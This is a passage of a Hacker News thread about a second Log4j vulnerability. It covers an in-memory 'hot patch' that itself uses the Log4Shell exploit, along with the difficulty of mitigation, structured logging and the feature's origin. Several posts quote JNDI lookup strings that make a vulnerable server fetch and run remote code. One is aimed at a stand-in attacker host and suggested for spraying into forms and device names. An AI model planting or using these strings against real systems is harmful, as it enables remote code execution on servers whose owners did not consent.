Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

Post reply on HN
Print view View original

21–30 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#21

Post by freeqaz »

teruakohatu wrote: post #18
freeqaz wrote: post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

How does the hot patch work?

It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell).

Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file.

There is a good talk on JNDI exploits in that[0] blog post if you want more details. :)

0: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exp...

1: https://github.com/lunasec-io/lunasec/blob/master/tools/log4...

Re: Log4Shell update: second Log4j vulnerability published

#23

Post by tbirdny »

freeqaz wrote: post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

Logout4Shell is clever but would require you know where to put the string so it gets logged by the app. So, you have to know how to exploit the app. It could be in the user-agent header, or somewhere else entirely depending on the app. And, the fix wouldn't be permanent, only until the app was restarted. And, in a load-balanced environment you would need to make sure you hit each server.

Re: Log4Shell update: second Log4j vulnerability published

#24

Post by doublepg23 »

AnotherGoodName wrote: post #20
candiddevmike wrote: post #6

This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).

Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes. Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits. N…

My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s...

Re: Log4Shell update: second Log4j vulnerability published

#25

Post by albert_e »

freeqaz wrote: post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

[flagged]

Re: Log4Shell update: second Log4j vulnerability published

#26

Post by blondin »

freeqaz wrote: post #21
teruakohatu wrote: post #18

Earlier quoted context omitted.

How does the hot patch work?

It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell). Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file. There is a good talk on JNDI exploits in that[0] blog post if you want more details. :) 0: https://www.lunasec.io/docs/blog/log4j-zer…

uses the exploit to mitigate the exploit. brilliant!

Re: Log4Shell update: second Log4j vulnerability published

#27

Post by markmark »

Pxtl wrote: post #8

Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.

I don't use java and have never touched log4j, but structured logs are utterly fantastic and combined with an appropriate log server are far more useful than plain text.

Re: Log4Shell update: second Log4j vulnerability published

#28

Post by dylan604 »

geerlingguy wrote: post #3

This is the vulnerability that keeps on giving. The annoying thing is, since it is evolving and attacks are spreading (and it has rightly gotten the attention of nearly everyone's IT department), we're hitting a stage where almost every customer is emailing daily asking for updates on mitigations based on evolving CVE discussions. I'd rather people be over-vigilant rather than pass on it, but mitigation is taking a b…

It has it's downside too. At somepoint, everyone gets tired of asking for updates and waiting. People go back to "normal", and some things remain vuln.

Chicken little eventually gets ignored.

Re: Log4Shell update: second Log4j vulnerability published

#29

Post by Bluecobra »

freeqaz wrote: post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

Now that is really clever. One of affected products I use is Juniper Space to monitor our network infrastructure (which uses OpenNMS). Juniper’s only workaround currently is to completely disable OpenNMS, thereby leaving us in the dark for monitoring. This would be an excellent workaround, though I have been unable to trigger any PoC code.

Re: Log4Shell update: second Log4j vulnerability published

#30

Post by mac-chaffee »

jancsika wrote: post #22

Who was the customer or class of customer that uses this string interpolation business? Edit: also, why was this feature requested in the first place?

Here's the alleged original Jira ticket: https://issues.apache.org/jira/browse/LOG4J2-313

PS: Don't post snarky comments on an 8-year old Jira ticket, please.

Post reply on HN